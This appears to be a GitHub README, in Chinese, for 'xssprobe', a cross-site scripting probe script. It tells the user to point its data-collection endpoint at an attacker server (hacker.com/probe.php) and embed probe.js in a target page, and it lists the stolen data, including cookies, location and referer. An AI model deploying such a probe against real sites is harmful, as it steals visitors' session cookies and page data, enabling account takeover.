evilcos / xssprobe Goto Github PK

xssprobe

xss探针脚本，用于获取被跨页面的通用数据。

使用说明：

1、修改probe.js：
// 获取隐私信息的服务端页面，这里需配置为自己的probe.php网址
http_server = "http://www.hacker.com/xssprobe/probe.php?c=";
2、在目标页面嵌入probe.js文件，可以参考demo.html（xssprobe demo page）:)


by [email protected]

ChangeLog
=====================================

2011/8/22
v1 能获取的数据如下：
browser, ua, lang, referer, location, toplocation, cookie, domain, title, screen, flash